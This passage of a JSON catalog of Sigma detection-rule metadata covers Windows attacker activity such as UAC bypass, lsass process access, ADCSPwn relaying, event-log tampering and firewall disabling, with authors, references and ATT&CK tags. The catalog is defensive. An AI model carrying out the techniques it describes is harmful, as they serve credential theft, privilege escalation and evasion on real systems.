          "Administrative scripts"
        ],
        "filename": "proc_creation_win_susp_copy_lateral_movement.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/",
          "https://twitter.com/SBousseaden/status/1211636381086339073",
          "https://www.elastic.co/guide/en/security/current/remote-file-copy-to-a-hidden-share.html",
          "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_lateral_movement.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.collection",
          "attack.exfiltration",
          "attack.t1039",
          "attack.t1048",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "855bc8b5-2ae8-402e-a9ed-b889e6df1900",
      "value": "Copy from Admin Share"
    },
    {
      "description": "Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/09/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_icmluautil.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/uac-bypass-via-icmluautil-elevated-com-interface.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_icmluautil.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "49f2f17b-b4c8-4172-a68b-d5bf95d05130",
      "value": "UAC Bypass via ICMLuaUtil"
    },
    {
      "description": "Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/07/31",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_adcspwn.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/bats3c/ADCSPwn",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_adcspwn.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1557.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cd8c163e-a19b-402e-bdd5-419ff5859f12",
      "value": "HackTool - ADCSPwn Execution"
    },
    {
      "description": "Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/06/22",
        "falsepositive": [
          "False positives depend on scripts and administrative tools used in the monitored environment"
        ],
        "filename": "proc_creation_win_sysprep_appdata.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/61a296bb-81ad-4fee-955f-3b399f4aaf4b",
          "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysprep_appdata.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d5b9ae7a-e6fc-405e-80ff-2ff9dcc64e7e",
      "value": "Sysprep on AppData Folder"
    },
    {
      "description": "Detects the use of SharpEvtHook, a tool that tampers with the Windows event logs",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/09/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_sharpevtmute.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/bats3c/EvtMute",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpevtmute.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bedfc8ad-d1c7-4e37-a20e-e2b0dbee759c",
      "value": "HackTool - SharpEvtMute Execution"
    },
    {
      "description": "Detects a \"Get-Process\" cmdlet and it's aliases on lsass process, which is in almost all cases a sign of malicious activity",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/04/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_getprocess_lsass.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/PythonResponder/status/1385064506049630211",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_getprocess_lsass.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b2815d0d-7481-4bf0-9b6c-a4c48a94b349",
      "value": "PowerShell Get-Process LSASS"
    },
    {
      "description": "Detects AdFind execution with common flags seen used during attacks",
      "meta": {
        "author": "Janantha Marasinghe (https://github.com/blueteam0ps), FPT.EagleEye Team, omkar72, oscd.community",
        "creation_date": "2021/02/02",
        "falsepositive": [
          "Legitimate admin activity"
        ],
        "filename": "proc_creation_win_pua_adfind_susp_usage.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/",
          "https://thedfirreport.com/2020/05/08/adfind-recon/",
          "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md",
          "https://www.joeware.net/freetools/tools/adfind/",
          "https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1087.002/T1087.002.md#atomic-test-7---adfind---enumerate-active-directory-user-objects",
          "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
          "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_adfind_susp_usage.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1018",
          "attack.t1087.002",
          "attack.t1482",
          "attack.t1069.002",
          "stp.1u"
        ]
      },
      "related": [
        {
          "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9a132afa-654e-11eb-ae93-0242ac130002",
      "value": "PUA - AdFind Suspicious Execution"
    },
    {
      "description": "WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz",
      "meta": {
        "author": "Georg Lauenstein (sure[secure])",
        "creation_date": "2022/09/19",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_winpeas.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/carlospolop/PEASS-ng",
          "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_winpeas.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1082",
          "attack.t1087",
          "attack.t1046"
        ]
      },
      "related": [
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "98b53e78-ebaf-46f8-be06-421aafd176d9",
      "value": "HackTool - winPEAS Execution"
    },
    {
      "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/09",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_powershell_import_cert_susp_locations.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/pki/import-certificate?view=windowsserver2022-ps",
          "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_import_cert_susp_locations.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1553.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5f6a601c-2ecb-498b-9c33-660362323afa",
      "value": "Root Certificate Installed From Susp Locations"
    },
    {
      "description": "The Tasks folder in system32 and syswow64 are globally writable paths.\nAdversaries can take advantage of this and load or influence any script hosts or ANY .NET Application\nin Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr\n",
      "meta": {
        "author": "Sreeman",
        "creation_date": "2020/01/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_task_folder_evasion.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/subTee/status/1216465628946563073",
          "https://gist.github.com/am0nsec/8378da08f848424e4ab0cc5b317fdd26",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_task_folder_evasion.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.execution",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cc4e02ba-9c06-48e2-b09e-2500cace9ae0",
      "value": "Tasks Folder Evasion"
    },
    {
      "description": "Detects uncommon one-liner command having ping and copy at the same time, which is usually used by malware.",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/07/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_ping_copy_combined_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_ping_copy_combined_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ded2b07a-d12f-4284-9b76-653e37b6c8b0",
      "value": "Suspicious Ping/Copy Command Combination"
    },
    {
      "description": "Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location\nAttackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on\nInstead they modify the task after creation to include their malicious payload\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_schtasks_change.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_change.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1c0e41cd-21bb-4433-9acc-4a2cd6367b9b",
      "value": "Suspicious Modification Of Scheduled Tasks"
    },
    {
      "description": "Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/07/23",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_selectmyparent.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.virustotal.com/gui/search/filename%253A*spoof*%2520filename%253A*ppid*/files",
          "https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing",
          "https://pentestlab.blog/2020/02/24/parent-pid-spoofing/",
          "https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_selectmyparent.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1134.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "93591901-3172-4e94-abf8-6034ab26f44a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "52ff7941-8211-46f9-84f8-9903efb7077d",
      "value": "HackTool - PPID Spoofing SelectMyParent Tool Execution"
    },
    {
      "description": "Detects netsh commands that turns off the Windows firewall",
      "meta": {
        "author": "Fatih Sirin",
        "creation_date": "2019/11/01",
        "falsepositive": [
          "Legitimate administration activity"
        ],
        "filename": "proc_creation_win_netsh_fw_disable.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/210244b9-0b6b-4a2c-83a3-04bd3175d017/",
          "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-1---disable-microsoft-defender-firewall",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_disable.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004",
          "attack.s0108"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "57c4bf16-227f-4394-8ec7-1b745ee061c3",
      "value": "Firewall Disabled via Netsh.EXE"
    },
    {
      "description": "Detects uncommon child processes of \"BgInfo.exe\" which could be a sign of potential abuse of the binary to proxy execution via external VBScript",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Beyu Denis, oscd.community",
        "creation_date": "2019/10/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_bginfo_uncommon_child_process.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bginfo_uncommon_child_process.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.005",
          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "aaf46cdc-934e-4284-b329-34aa701e3771",
      "value": "Uncommon Child Process Of BgInfo.EXE"
    },
    {
      "description": "Detects the execution of Xwizard tool with specific arguments which utilized to run custom class properties.",
      "meta": {
        "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative",
        "creation_date": "2020/10/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_class_exec_xwizard.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "53d4bb30-3f36-4e8a-b078-69d36c4a79ff",
      "value": "Custom Class Execution via Xwizard"
    },
    {
      "description": "Detects when adversaries stop services or processes by disabling their respective scheduled tasks in order to conduct data destructive activities",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/12/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_schtasks_disable.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/",
          "https://twitter.com/MichalKoczwara/status/1553634816016498688",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_disable.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1489"
        ]
      },
      "related": [
        {
          "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9ac94dc8-9042-493c-ba45-3b5e7c86b980",
      "value": "Disable Important Scheduled Task"
    },
    {
      "description": "Detects execution of the builtin \"rmdir\" command in order to delete directories.\nAdversaries may delete files left behind by the actions of their intrusion activity.\nMalware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how.\nRemoval of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_rmdir_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md",
          "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_rmdir_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "41ca393d-538c-408a-ac27-cf1e038be80c",
      "value": "Directory Removal Via Rmdir"
    },
    {
      "description": "Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with uncommon Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload.\n",
      "meta": {
        "author": "Michael McKinley (@McKinleyMike), Tony Latteri (@TheLatteri)",
        "creation_date": "2023/09/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_addinutil_uncommon_cmdline.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_cmdline.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4f2cd9b6-4a17-440f-bb2a-687abb65993a",
      "value": "Uncommon AddinUtil.EXE CommandLine Execution"
    },
    {
      "description": "Detects usage of COM objects that can be abused to download files in PowerShell by CLSID",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/25",
        "falsepositive": [
          "Legitimate use of the library"
        ],
        "filename": "proc_creation_win_powershell_download_com_cradles.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=57",
          "https://learn.microsoft.com/en-us/dotnet/api/system.type.gettypefromclsid?view=net-7.0",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_com_cradles.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "02b64f1b-3f33-4e67-aede-ef3b0a5a8fcf",
      "value": "Potential COM Objects Download Cradles Usage - Process Creation"
    },
    {
      "description": "Detects usage of the \"Add-WindowsCapability\" cmdlet to add Windows capabilities. Notable capabilities could be \"OpenSSH\" and others.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/22",
        "falsepositive": [
          "Legitimate usage of the capabilities by administrators or users. Add additional filters accordingly."
        ],
        "filename": "proc_creation_win_powershell_add_windows_capability.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=powershell",
          "https://www.virustotal.com/gui/file/af1c82237b6e5a3a7cdbad82cc498d298c67845d92971bada450023d1335e267/content",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_add_windows_capability.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "b36d01a3-ddaf-4804-be18-18a6247adfcd",
      "value": "Add Windows Capability Via PowerShell Cmdlet"
    },
    {
      "description": "Detects various command line and scripting engines/processes such as \"PowerShell\", \"Wscript\", \"Cmd\", etc. spawning a \"regsvr32\" instance.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/26",
        "falsepositive": [
          "Legitimate \".bat\", \".hta\", \".ps1\" or \".vbs\" scripts leverage legitimately often. Apply additional filter and exclusions as necessary",
          "Some legitimate Windows services"
        ],
        "filename": "proc_creation_win_regsvr32_susp_parent.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/",
          "https://web.archive.org/web/20171001085340/https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_susp_parent.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ab37a6ec-6068-432b-a64e-2c7bf95b1d22",
      "value": "Scripting/CommandLine Process Spawned Regsvr32"
    },
    {
      "description": "Detects using register-cimprovider.exe to execute arbitrary dll file.",
      "meta": {
        "author": "Ivan Dyachkov, Yulia Fomina, oscd.community",
        "creation_date": "2020/10/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_registry_cimprovider_dll_load.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/",
          "https://twitter.com/PhilipTsukerman/status/992021361106268161",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_cimprovider_dll_load.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574"
        ]
      },
      "related": [
        {
          "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a2910908-e86f-4687-aeba-76a5f996e652",
      "value": "DLL Execution Via Register-cimprovider.exe"
    },
    {
      "description": "Detects uncommon \"userinit.exe\" child processes, which could be a sign of uncommon shells or login scripts used for persistence.",
      "meta": {
        "author": "Tom Ueltschi (@c_APT_ure), Tim Shelton",
        "creation_date": "2019/01/12",
        "falsepositive": [
          "Legitimate logon scripts or custom shells may trigger false positives. Apply additional filters accordingly."
        ],
        "filename": "proc_creation_win_userinit_uncommon_child_processes.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows-server/administration/server-core/server-core-sconfig#powershell-is-the-default-shell-on-server-core",
          "https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_userinit_uncommon_child_processes.yml"
        ],
        "tags": [
          "attack.t1037.001",
          "attack.persistence"
        ]
      },
      "related": [
        {
          "dest-uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0a98a10c-685d-4ab0-bddc-b6bdd1d48458",
      "value": "Uncommon Userinit Child Process"
    },
    {
      "description": "Ntvdm.exe allows the execution of 16-bit Windows applications on 32-bit Windows operating systems, as well as the execution of both 16-bit and 32-bit DOS applications",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/07/16",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_susp_16bit_application.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/93fe92fa-8b2b-4d92-8c09-a841aed2e793/",
          "https://app.any.run/tasks/214094a7-0abc-4a7b-a564-1b757faed79d/",
          "https://docs.microsoft.com/en-us/windows/compatibility/ntvdm-and-16-bit-app-support",
          "https://support.microsoft.com/fr-fr/topic/an-ms-dos-based-program-that-uses-the-ms-dos-protected-mode-interface-crashes-on-a-computer-that-is-running-windows-7-5dc739ea-987b-b458-15e4-d28d5cca63c7",
